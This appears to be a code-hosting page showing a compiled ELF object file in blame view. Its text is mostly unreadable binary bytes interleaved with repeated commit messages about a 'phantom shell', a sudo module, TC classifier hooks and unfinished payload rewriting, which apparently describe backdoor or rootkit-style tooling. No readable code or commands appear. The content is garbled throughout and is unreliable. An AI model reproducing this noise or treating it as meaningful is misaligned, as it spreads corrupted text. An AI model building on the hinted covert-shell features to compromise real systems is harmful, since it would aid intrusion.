Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
C<00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
A<00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00> <00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00>
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
e<00>
Updated all components with phantom shell
2022-05-09 22:06:29 -04:00
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
,<00>
Added test on tc clasiffier, added pinned maps, and obtaining the fd from other maps in order to synchronize between programs
2022-05-10 19:09:52 -04:00
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
$<00>
Added test on tc clasiffier, added pinned maps, and obtaining the fd from other maps in order to synchronize between programs
2022-05-10 19:09:52 -04:00
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00>
Added test on tc clasiffier, added pinned maps, and obtaining the fd from other maps in order to synchronize between programs
2022-05-10 19:09:52 -04:00
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00><00>
Added test on tc clasiffier, added pinned maps, and obtaining the fd from other maps in order to synchronize between programs
2022-05-10 19:09:52 -04:00
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00>
4'
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
4
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
KA
<00>N
<00>[
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00>h
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00> <00>
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00><00>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00><00>
;<00>
r<00>
<00>
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
z<00>
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00><00>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00><00>
;
r
<00>
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
%
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
z3
@
,N
<00>\
<00>i
:v
<00> <00>
<00> <00>

<00>

<00>
,
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
B
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
X
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
n
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00>
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
*<00>
<00>
J
a
x-
<00>;
<00>I
<00>W
<00>e
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
s
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
(<00>
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
6<00>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00> <00>
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
k<00>
<00><00>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
 
@
2 )
<00>7
<00>E
<00>S
<00> a
<00> o
}
8<00>
P <00>
<00><00>
<00><00>
<00>
V<00>
<00><00>
<00><00>
k <00>
W 
<00> 
<00>%
<00> 3
 A
<00>O
6]
_k
<00>y
 <00>
& <00>
K <00>
p <00>
<00> <00>
Y<00>
[<00>
U<00>
<00> <00>
<00>
\<00>
<00> <00>
?<00>
<00> 
<00>

<00>
V,
<00>9
9e
<00>k
<00>q
<00>w
_}
 <00>
T<00>
g<00>
&<00>
<00><00>
<00><00>
 <00>
<00> <00>

z'
=A
<00>O
*i
<00>v
;<00>
r<00>
/<00>
<00>
<00>
<00><00>
<00>
=<00>
*<00>
/<00>
<00>
<00>
.!
<00>/
<00> <
<00>J
<00>W
<00>e
<00>r
<00><00>
<00><00>
 <00>
<00>
=<00>
*<00>
/<00>
<00><00>
"<00>
<00><00>
<00>
<00>
<00> 
Q,
9
<00>F
j S
a`
<00>~
N<00>
? <00>
<00> <00>
<00><00>
<00>
<00><00>
 <00>
<00><00>
<00> <00>
<00> <00>
J
<00>
u"
<00> 4
h:
<00>
@
<00>F
_L
<00>R
X
<00>^
<00>e
Dr<00>
<00><00><00>
<00><00><00>
<00> <00><00><00>
<00><00>
 
 #
<00>3
yS
.s
<00>{N<00>
<00> <00>
<00> <00>
<00><00>o<00>
<00><00>
y
<00>
#) <00><>N
<00>Y<00> <00>
<00> <00>
<00>z 
<00> +nZ{
<00><00>
F <00><00> <00>
<00><00>L <00>
-<00>
<00><00> 
<00>(
7
<00> G
<00>N1 t
 <00>
<00><00>
K<00>M<00>
 <00>
<00><00>
H 
<00>+
<00>;
<00>J
UZ
Aj
z<00><00>
o<00>
 <00>W
<00><00>
<00>
<00><00><00> 
<00>H
<00>Ssj
W<00>
<00><00><00>` 
<00><00>=
QH<00>[
<00>fC}
L<00><00><00>
<00><00>
<00> @C`<00><00><00><00><00><00>s<00>M1 <00> @L `<00> <00><00> <00>o<00><00>.symtab.strtab.shstrtab.rela.text.data.bss.rodata.rela.debug_info.debug_abbrev.rela.debug_aranges.rela.debug_line.debug_str.comment.note.GNU-stack.note.gnu.property.rela.eh_frame @<00>@<00><><00>&<00>,<00>  1<00><00><>>ҭ<00>9@@h+J<00><>^] <0C>0X@<00>H0 q<<3C>+
l@<00>H }0g<><00><00>0R<>&<00>x<><00>x<> <00><00><><00><00>@<00>HPx<>x  <00><><00>@J<00>
Reference in New Issue Copy Permalink